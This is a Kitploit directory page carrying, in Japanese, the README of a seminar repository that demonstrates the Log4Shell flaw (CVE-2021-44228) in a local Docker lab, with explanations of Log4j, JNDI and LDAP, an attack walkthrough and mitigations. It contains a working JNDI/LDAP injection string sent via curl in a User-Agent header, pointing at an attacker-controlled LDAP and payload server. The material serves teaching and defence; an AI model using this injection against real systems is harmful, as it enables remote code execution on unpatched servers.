Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hka-seminar-log4shell — Log4Shell脆弱性(CVE-2021-44228)の実用的なデモンストレーション | Kitploit
ツール/GitHubGitHub/fabioeletto/hka-seminar-log4shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubfabioeletto/hka-seminar-log4shell

hka-seminar-log4shell

Log4Shell脆弱性(CVE-2021-44228)の実用的なデモンストレーション

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

セミナー論文 - Log4Shell脆弱性デモンストレーション (CVE-2021-44228)

セキュリティに関する注意事項

このリポジトリは、セキュリティ関連のセミナー論文の一環として、教育およびデモンストレーション目的のみに使用されます。本コードを本番環境や明示的な許可なしにシステムに対して使用しないでください。この構成は、ロギング、名前解決、クラスの動的ローディングといった一見無害な機能が組み合わさると、どのように複雑な脆弱性が生じるかを示し、セキュリティ意識を高めることを目的としています。

目次

  • 1. プロジェクト概要

    • 1.1 セミナー論文の目的
    • 1.2 デモンストレーションの概要
  • 2. Log4Shellとは?

  • 3. 技術コンポーネントの詳細

    • 3.1 Log4j - 動作原理
    • 3.2 JNDI - ルックアップメカニズム
    • 3.3 LDAP - 構成と役割
    • 3.4 Log4Shellの一般的な流れ
  • 4. プロジェクト構成とセットアップ

    • 4.1 ディレクトリ構成
    • 4.2 前提条件
    • 4.3 セットアップ
  • 5. プロジェクトのデモ

  • 6. 対策

  • 7. 結論

  • 8. 参考文献

1. プロジェクト概要

1.1 セミナー論文の目的

本セミナー論文の目的は、2021年12月に公表され、近年最も深刻な脆弱性の一つと評価されたLog4Shellセキュリティホール(CVE-2021-44228)に関する深い理解を提供することです。本論文では、理論的な基礎を説明するだけでなく、脆弱性の実践的なデモンストレーションも行います。

1.2 デモンストレーションの概要

Log4Shellセキュリティホールを実践的に示すために、このリポジトリでは完全な攻撃の流れを再現可能な、隔離されたコンテナ環境を構築しました。デモンストレーションは3つの中心的なコンポーネントに基づいています。

  • vulnerable-app: Log4j 2.14.1を搭載した意図的に脆弱なSpring Bootアプリケーションです。HTTPリクエストのUser-Agentヘッダーをログに記録し、攻撃者がこれを操作して脆弱性を悪用できます。
  • ldap-server: 攻撃者の制御下にあるLDAPサーバーとして機能する、有名なツール_marshalsec_のフォークです。このサーバーは、後で実行される悪意のあるJavaクラスへの参照を提供します。
  • payload-server: 悪意のあるJavaクラス(Exploit.class)を配信する単純なHTTPサーバーです。LDAPサーバーと同様に、このサーバーも攻撃者の制御下にあります。

注意: セットアップとデモンストレーションの実行に関する詳細は、4. プロジェクト構成とセットアップと5. プロジェクトのデモのセクションを参照してください。

2. Log4Shellとは?

Log4Shellは、JavaライブラリLog4jにおけるCVE-2021-44228という識別番号を持つ深刻なセキュリティ脆弱性の名前です。これにより、攻撃者は最小限の労力でリモートサーバー上で任意のコードを実行(リモートコード実行、RCE)することが可能になります。

この脆弱性はLog4jの2.0から2.14.1までのバージョンに影響し、多くのセキュリティ当局(ドイツ連邦情報セキュリティ庁(BSI)など)によって最高リスクレベルに分類されるほど深刻です。

Log4Shellが特に危険な理由は以下の通りです。

  • Log4jは非常に広く普及しています。ゲームサーバーからエンタープライズアプリケーションに至るまで利用されています。
  • 認証が不要であり、匿名の外部攻撃者であれば誰でも潜在的に被害をもたらす可能性があります。
  • 攻撃ベクトルは些細であり、多くの場合、操作された文字列をアプリケーションに送信するだけで済みます。
  • この脆弱性を悪用するためのLog4jの機能は、デフォルトで有効になっています。

実際の原因は、Lookupと呼ばれる機能を通じて、ログメッセージに動的コンテンツをロードできるLog4jの機能にあります。JNDI(Java Naming and Directory Interface) およびLDAP(Lightweight Directory Access Protocol) プロトコルと組み合わせることで、リモートの悪意のあるJavaクラスをロードして実行することが可能になります。

この脆弱性の発見と公開により、世界中でセキュリティ対応の波が引き起こされました。多くのシステムが直ちにパッチ適用またはシャットダウンを余儀なくされました。その後、さらに関連する脆弱性(例:CVE-2021-45046)が明らかになり、この問題がいかに深刻かつ危険であったかを示しています。

以下では、脆弱性をより深く理解するために、関連する技術とその相互作用について詳しく説明します。

3. 技術コンポーネントの詳細

3.1 Log4j - 動作原理

Log4jは、Apacheによって作成されたJavaアプリケーションにおけるイベントを記録するためのライブラリです。ロギングはソフトウェア開発において、システムの監視やエラー分析を行うための中心的なツールです。Log4jはJavaエコシステムで最も有名で広く使われているロギングフレームワークの一つであり、小規模なアプリケーションから大規模なエンタープライズシステムまで使用されています。

なぜロギングが必要か?

プログラムの実行中には、例えば以下のようなイベントが発生します。

  • ユーザーリクエスト
  • 内部状態の変更
  • エラーメッセージ

これらのイベントはログとして文書化され、通常はコンソールへのテキスト出力、ファイル、またはネットワークプロトコルを介した中央ログサーバーへの出力として記録されます。適切なロギングにより、アプリケーションがいつ何を行ったかを追跡できます。

Log4jが提供するもの

Log4jは、ログメッセージの生成と処理のための柔軟で高度に設定可能なインフラストラクチャを提供します。中心的な機能には以下が含まれます。

  • ログレベル: 重要度の段階(例:DEBUG、INFO、WARN、ERROR)があり、ログの詳細度を制御できます。
  • Appender: ログ出力をさまざまな送信先(例:コンソール、ファイル、リモートサーバー)に送ることができます。
  • レイアウト: レイアウトを使用して、ログメッセージの形式(例:タイムスタンプ、スレッド、メッセージ)を定義できます。

セミナー論文に関連するその他の機能、特にプレースホルダー機能とLookup機能については、後のセクションで扱います。

簡単な例```java

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

public class Example { private static final Logger logger = LogManager.getLogger();

root@kitploit:~
public static void main(String[] args) {
    logger.info("Starte Anwendung...");
}

}

root@kitploit:~
この簡単な例では、Loggerインスタンスが作成されるか、既に存在する場合は取得されます。その後、`INFO`レベルのログメッセージが出力されます。Log4jは設定に基づいてメッセージのフォーマットと出力を処理します。設定の例は次のようになります:```xml
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

この設定は、Datum Uhrzeit Log-Level Loggername - Nachricht の形式でログメッセージをコンソールに出力するアペンダーを定義します。このアペンダーはルートロガーに割り当てられ、INFO レベル以上のすべてのログメッセージを処理します。

出力は次のようになります:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...

root@kitploit:~
それでは、Log4Shell脆弱性に最も関連するLog4jの具体的な機能について説明します。

#### ログメッセージ内のプレースホルダ

Log4jの特に便利な機能の1つは、ログメッセージ内の**プレースホルダ**のサポートです。これにより、動的なコンテンツを実行時にログ出力に挿入できます:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);

実行時に、{} は変数 username の実際の値に置き換えられます。 これにより次の出力が得られます:```text "Benutzer angemeldet: Alice"

root@kitploit:~
#### 動的式(ルックアップ)

単純なプレースホルダーの他に、Log4jではログメッセージ内でより複雑な式を直接解決する機能も提供しています。この機能は**ルックアップ**と呼ばれ、実行時に値を動的に挿入できます(例:環境変数、システム情報、設定値など)。

そのような動的式の例:

- `${env:HOME}` - 環境変数 `HOME` の値を返します。Linux / macOS では、例えば `/home/username` となります。
- `${docker:...}` - アプリケーションが実行されている Docker コンテナに関する情報を提供する可能性があります。
- `${jndi:...}` - 内部または外部リソースをロードするために JNDI ルックアップを実行します。

次のセクションでは、JNDI 機能が Log4Shell 脆弱性において中心的な役割を果たすため、より詳しく見ていきます。

### 3.2 JNDI - ルックアップメカニズム

**JNDI** は _Java Naming and Directory Interface_ の略で、**名前およびディレクトリサービス**にアクセスするための標準化された Java API です。JNDI を使用すると、Java アプリケーションはリソースを技術的なパスではなく、シンボリック名で参照できます。

JNDI の古典的な使用例はデータベース接続の検索であり、ここで見られるように:```java
public class JndiExample {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
        // Datenbankverbindung verwenden
    }
}

最初に、JNDIを使用した名前解決のエントリポイントとなるInitialContextが作成されます。次に、lookupメソッドを使用してリソースを検索します。この場合は、シンボリック名java:/comp/env/jdbc/myDBを持つデータソース(DataSource)です。

JNDIの利点は何ですか?

  • アプリケーションとインフラストラクチャの分離: 構成はコードにハードコードする必要がなく、サーバー上で集中管理できます。
  • 再利用性と移植性: アプリケーションはコードを変更することなく、複数の環境(例:開発、テスト、本番)で簡単に実行できます。各環境の構成ファイルを調整するだけで済みます。
  • 柔軟性: JNDIはプロトコルに依存せず、単にインターフェースを提供し、実際の通信はバックグラウンドでいわゆる_Service Provider_が担当します。これにより、JNDIはLDAPだけでなく、RMI、DNS、CORBAなど様々なサービスにアクセスできます。

JNDIの構造

JNDI Aufbau

JavaアプリケーションはJNDIのプロトコルに依存しないインターフェースを使用します。これにはlookupメソッドを持つInitialContextなどのクラスが含まれます。APIはLDAP、DNSなどを使用する場合でも常に同じです。Naming Managerは仲介役として機能し、実際の通信を担当する適切な_Service Provider_を選択します。JNDI SPI(Service Provider Interface)は、さまざまなプロトコルに対してJNDI機能を実装するクラスのコレクションです。この場合、関連するService ProviderはLDAPです。

次のセクションでは、Service Provider LDAPを詳しく見ていきます。

3.3 LDAP - 構造と役割

LDAPは_Lightweight Directory Access Protocol_の略で、いわゆるディレクトリサービスへのアクセスを可能にする標準化されたネットワークプロトコルです。元々はX.500の軽量な代替として開発され、今日では多くの企業ネットワーク、特に中央集権的なユーザーおよび権限管理において標準となっています。

ディレクトリサービスとは?

ディレクトリサービスは、情報を階層形式で保存する構造化データベースです。リレーショナルデータベースとは異なり、ディレクトリは次の特性を持ちます。

  • 読み取り指向である
  • 強く階層的に構成されている(ファイルシステムのように)
  • IDや構成データへの高速アクセスに最適化されている

LDAPディレクトリの構造

LDAP Baum

画像でわかるように、LDAPディレクトリはツリー状の構造で編成されています。ルートレベルには**Domain Components (dc)があります。その下には、Usersなどのさらに細かい区分を表すOrganizational Units (ou)が存在します。個々のユーザーやオブジェクトには、特定のエントリを識別し、さまざまな属性を含むことができるCommon Names (cn)**があります。

意味:

  • dn: Distinguished Name
  • dc: Domain Component
  • ou: Organizational Unit
  • cn: Common Name

ここで、LDAPがどのように呼び出されるか、そしてLog4Shell脆弱性においてどのような役割を果たすかを見てみましょう。

LDAPはどのように呼び出されるか?

LDAPでは、外部クラスへの参照を保存することもでき、必要に応じて後からロードすることができます。これはjavaClassNameやjavaCodeBaseなどの特別な属性を使用して行われます。これらの属性は、JavaクラスをロードするURLを参照できます。

例えば、次のURLを使用して、Javaクラスを参照するオブジェクトをクエリできます:``` ldap://ldap-server:1389/Exploit

root@kitploit:~
![LDAP Eintrag](https://assets.kitploit.com/production/public/readmes/25332/c60420b9b33a1189fd949bcf725f4ca7c3d4bdcd25f03cd50b715ceac5f95d24.png)

画像でわかるように、LDAPエントリには`javaClassName`属性が含まれており、これは`Exploit`クラスを参照しています。`javaCodeBase`属性では、クラスをロードするためのURLが指定されています。この場合、`Exploit.class`を提供するHTTPサーバー`http://payload-server/`です。

これで、すべての技術的要素を詳細に確認しました。次のセクションでは、Log4Shellの脆弱性の一般的な流れを説明し、これらの技術がどのように連携し、どのような攻撃ベクトルが生じるのかを理解します。

### 3.4 Log4Shellの一般的な流れ

関連する3つの技術、**Log4j**(ロギングフレームワーク)、**JNDI**(ディレクトリサービスインターフェース)、**LDAP**(具体的なディレクトリサービス)を個別に検討した後、セキュリティ対策が講じられていない場合、これらの組み合わせがいかに危険であるかが明らかになります。

Log4jバージョン2.14.1までは、いわゆる**Lookups**をログメッセージ内で直接評価させることが可能でした。これにより、JNDIクエリをLDAP経由で組み込むことができ、この機能を明示的に有効にしなくても、リモートサーバーから任意のJavaクラスをロードして実行できました。

#### 連携における具体的なシナリオ:

ここで、学んだことを具体的な例で実践します。最初のステップとして、次の式を使用してJNDIルックアップを開始します:```text
${jndi:...}

では、LDAPサービスプロバイダを使用して、リモートのJavaクラスをロードします ldap://ldap-server:1389/Exploit。 組み合わせると、次の文字列が得られます:```text ${jndi:ldap://ldap-server:1389/Exploit}

root@kitploit:~
これで、攻撃者はこの文字列をログメッセージに埋め込むだけでよくなります。例えば、HTTPヘッダーを操作することで可能です。

![Log4Shellの攻撃フロー](https://assets.kitploit.com/production/public/readmes/25332/ddb8ced01e0021cba8c16ee86816856e4b81aeccee27832fe7489f4fc4cccfab.png)

図に見られるように、左側に攻撃者がおり、自身のLDAPサーバーとペイロードサーバーをホストしています。右側は、Log4jバージョン2.14.1を使用する脆弱なアプリケーションです。攻撃の流れは次のとおりです。

1. 攻撃者はアプリケーションにHTTPリクエストを送信し、上記の細工された文字列を、例えば`User-Agent`ヘッダーに挿入します。   ```http
   User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
  1. アプリケーションは User-Agent ヘッダーをログ記録する: ```java logger.info("User-Agent: {}", request.getHeader("User-Agent"));
    root@kitploit:~

Log4jは${jndi:...}を認識し、指定されたプロトコルldapを介して自動的にJNDIルックアップを実行します

  1. 次に、指定されたURL ldap://ldap-server:1389/Exploit を解決するためにLDAPサービスプロバイダが呼び出されます。

  2. LDAPサーバーは、以下のサーバー上にある外部のJavaクラス(Exploit.class) への参照で応答します。 ``` http://payload-server:8000/Exploit.class

    root@kitploit:~
  3. アプリケーションは、Exploit.class をロードするためにペイロードサーバーにリクエストを送信します。

  4. ペイロードサーバーは Java クラス Exploit.class で応答します。その後、このクラスは一切の検証なしに実行されます。攻撃者は、脆弱なサーバー上で実行されるコードを完全に制御できます。

なぜこれが機能するのか?

なぜなら:

  • Log4j がログメッセージを単に出力するのではなく解釈するため
  • JNDI が内部で任意のサービスプロバイダへの接続を許可するため
  • クラスローダーが制限なく外部コードを実行するため。

Log4j の動的ルックアップ、JNDI による柔軟な名前解決、および LDAP プロトコルの相互作用により、予期せぬ攻撃対象領域が生まれます。当初は強力な設定機能として意図されていたものが、リモートコード実行の侵入口となりました。

次のセクションでは、脆弱性をローカルで実行するためのプロジェクト構造とデモのセットアップについて説明します。

4. プロジェクト構造とセットアップ

4.1 ディレクトリ概要

プロジェクト構造は、3 つの主要コンポーネントを反映しています:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...

root@kitploit:~
### 4.2 前提条件

Log4Shellデモをローカルで実行するには、以下の前提条件が必要です:

#### Docker & Docker Compose

インフラ全体はコンテナに基づいています。Dockerにより、各コンポーネント(vulnerable-app、ldap-server、payload-server)が分離された環境で動作します。

- **Docker**:  
  [https://www.docker.com/get-started](https://www.docker.com/get-started) からインストール

- **Docker Compose** (Docker Desktopには既に含まれています)  
  または [https://docs.docker.com/compose/](https://docs.docker.com/compose/) からインストール可能

#### cURL

コマンドラインから攻撃を実行するには、`curl`ツールを使用できます:

- Linux/macOSではプリインストール済み
- Windowsでは [https://curl.se/](https://curl.se/) 経由、またはGit Bashに含まれています

> **注意:** アプリケーションとすべてのサーバーはローカルマシン上で実行され、隔離されたDockerネットワーク(`log4shell-network`)内でのみ通信します。外部サーバーへの接続は必要なく、行われません。

### 4.3 セットアップ

このセクションでは、環境をローカルでセットアップして起動する方法を説明します。

#### ステップ1: リポジトリをクローン```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell

ステップ2: コンテナの作成と起動

Docker Composeを使用すると、必要なすべてのサービスを単一のコマンドで起動できます:```bash docker-compose up --build

root@kitploit:~
`docker-compose up --build` を実行すると、以下の処理が行われます:

- `vulnerable_app`、`ldap_server`、`payload_server` のイメージがビルドされます
- 3つのサービスがすべて起動します
- これらは共通の内部 Docker ネットワーク (`log4shell-network`) を介して通信します

正常に起動した後、アプリケーションは次のエンドポイントからアクセス可能です:```
http://localhost:8080

ログ出力とイベントはコンソールにリアルタイムで表示されます。ターミナルウィンドウが開いている間(またはプロセスがバックグラウンドで実行されている間)はコンテナは実行され続けます。

注意: 競合を避けるため、ポート 8080、1389、8000 で他のサービスが実行されていないことを確認してください。

コンテナを停止したい場合は、docker-compose down で行えます。これにより、実行中のすべてのコンテナが停止・削除されますが、イメージは保持されます。

5. プロジェクトのデモ

このセクションでは、提供されたデモ環境で Log4Shell の脆弱性を意図的に発動させる方法を示します。ここでは、先に起動したすべてのコンポーネントが連携します。

  • vulnerable-app は Log4j を使用して User-Agent ヘッダーをログに記録します
  • ldap-server は操作された参照を返します
  • payload-server は実際の Java クラス (Exploit.class) を提供します

ステップバイステップの攻撃

デモを実行するには、2つのコンソールウィンドウが必要です。まず、まだ行っていない場合は、1つのターミナルで docker-compose up --build を使用して環境を起動します。2番目のターミナルで、次の手順を実行します。

  1. ファイルがまだ存在しないことを確認してください:

    これはデモであるため、エクスプロイトとして、実行成功を示すために空のファイルが作成されるだけです。これは payload-server/Exploit.java クラスから確認できます。ファイルがまだ存在しないことを確認するには、次のコマンドを実行します。 ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

ファイルが存在しない場合、No such file or directoryのようなエラーメッセージが表示されるはずです。これにより、エクスプロイトがまだ実行されていないことが確認できます。

  1. 操作された文字列をアプリケーションに送信します: ```bash curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
    root@kitploit:~

Erklärung des Payloads:

  • ${jndi:...}: Log4j はこの式を自動的に解釈し、JNDI ルックアップを実行します。
  • ldap://ldap-server:1389: Docker ネットワーク内で動作している LDAP サーバーに接続します。
  • /Exploit: 悪意のあるクラスを指す LDAP エントリの名前です。
  • http://localhost:8080: Log4j の脆弱性をトリガーするためにリクエストを送信する脆弱なアプリケーションの URL です。
  1. バックグラウンドで何が起こっているのか?

    Log4Shell-Konsolenausgabe

    • アプリケーションはリクエストを受信し、User-Agent ヘッダーをログに記録しようとします。
    • Log4j は User-Agent ヘッダーを評価し、LDAP 経由で JNDI ルックアップ を実行します。
    • LDAP サーバーは、ペイロードサーバーが提供するリモートの Exploit.class を参照します。
    • アプリケーションはペイロードサーバーからクラスをロードし、実行します。
    • 最終的に、動的な内容を含む元のログメッセージが記録されます。

注意: 前述の通り、このデモでは成功した実行を実証するために空のファイルを作成するだけです。実際の攻撃シナリオでは、任意のコードが実行される可能性があります!

  1. 攻撃の結果を確認する

    次に、コンテナ内に /tmp/remote_code_execution ファイルが作成されたかどうかを再度確認できます。 ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

攻撃が成功した場合、次の出力が表示されるはずです: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution

root@kitploit:~
たった1行の細工されたログエントリによって完全なリモートコード実行プロセスが引き起こされます。これこそがLog4Shellを非常に危険にしている理由です。このデモは、**Log4j**、**JNDI**、**LDAP**の相互作用がどのように悪用につながるかを示しています。

## 6. 保護対策

Log4Shellの脆弱性は、一見無害な機能によって最新のアプリケーションがいかに深く侵害され得るかを示しました。このような攻撃からシステムを効果的に保護するには、以下の対策を実施する必要があります。

- **Log4jバージョンの更新(最低2.17.1)**

最も重要な対策は、**Log4jバージョン≥2.17.1へのアップデート**です。このバージョン以降でようやく、すべての既知の脆弱性(DoSや設定の悪用を含む)が修正されました。それ以前のバージョンは依然として脆弱であり、使用すべきではありません!

- **JNDIルックアップの無効化**

完全なアップデートができない場合は、**JNDIルックアップを無効化**すべきです。これは、`log4j2.properties`ファイルで以下の設定を行うことで実現できます。

log4j2.enableJndiLookup=false properties log4j2.formatMsgNoLookups=true

root@kitploit:~
この設定により、Log4j がログメッセージ内の JNDI ルックアップを評価するのを防ぎます。これにより攻撃対象領域が大幅に削減されます。ただし、これは一時的な回避策であり、他の脆弱性(DoS、設定エクスプロイト)が引き続き存在する可能性があります。

- **入力の検証**

すべてのユーザー入力は、ログメッセージで使用される前に **検証およびサニタイズ** されるべきです。特に `${jndi:...}` のような動的な式は直接受け入れてはいけません。

- **発信ネットワーク接続の制限**

このエクスプロイトの中心的な要素は、攻撃者が制御する外部サーバーへの無制限のアクセスでした。システムは、ファイアウォールやネットワークポリシーなどを使用して、**任意の外部ターゲットに到達できない**ように構成する必要があります。特に、アプリケーションから未知の LDAP ターゲットへのアクセスは禁止されるべきです。

## 7. 結論

Log4Shell の脆弱性は、自身のコードのセキュリティに依存するだけでなく、使用するライブラリやフレームワークを慎重に選択し理解することの重要性を如実に示しています。このケースでは、一見無害なロギングライブラリ(Log4j)がリモートコード実行の脆弱性を引き起こしました。これは、依存関係がエクスプロイトの侵入口になり得ることを示しています。外部ライブラリが本当に必要なのか、それとも追加の依存関係なしで機能を実装できるのかを常に考えるべきです。

もう一つの重要な点は、**隠れた複雑さ**というテーマです。ログメッセージ内の `${env:HOME}` のような機能は無害に見えますが、動的ルックアップのような複雑なメカニズムを背後に隠しています。これにより、気づかれずに危険な動作が紛れ込む可能性があります。代わりに、`System.getenv("HOME")` のような明示的で透過的な解決策を使用する方が良いでしょう。そうすれば、制御を維持し、何が起こっているかを把握できます。

また、一般的ではあるがしばしば無視される原則が当てはまります。**ユーザー入力を検証せずに処理してはならない**。特にロギング、データベースアクセス、システムコマンドなどのセキュリティ関連の操作では、入力を検証およびサニタイズする必要があります。

最後に、この事例は、JNDI ルックアップのような強力な機能がデフォルトで有効になっている場合の危険性を示しています。Log4j でこの機能がデフォルトで有効になっていなければ、影響を受けるシステムはごく一部だったでしょう。

**主な教訓:**

- 脆弱性は、一見無害なライブラリにも潜んでいる可能性があります。
- 外部ライブラリが本当に必要かどうかを検討する。
- 隠れた複雑さを避ける。
- 検証されていないユーザー入力を処理しない。
- JNDI ルックアップのような強力な機能はデフォルトで有効にすべきではありません。

## 8. 出典

- [CVE-2021-44228 – 国家脆弱性データベース (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
- [BSI による Log4Shell 警告メッセージ](https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=10)
- [Log4j ドキュメント](https://logging.apache.org/log4j/2.x/index.html)
- [JNDI の概念](https://docs.oracle.com/javase/tutorial/jndi/concepts/index.html)
- [JNDI 概要](https://docs.oracle.com/javase/tutorial/jndi/overview/index.html)
- [LDAP 入門 (RFC 4511)](https://datatracker.ietf.org/doc/html/rfc4511)
- [LDAP](https://www.redhat.com/en/topics/security/what-is-ldap-authentication)
- [Log4Shell](https://www.ibm.com/think/topics/log4shell)
- [Log4Shell ビデオ パート 1](https://www.youtube.com/watch?v=w2F67LbEtnk)
- [Log4Shell ビデオ パート 2](https://www.youtube.com/watch?v=iI9Dz3zN4d8)
- [marshalsec のフォーク](https://github.com/fabioeletto/marshalsec)
ツールをダウンロード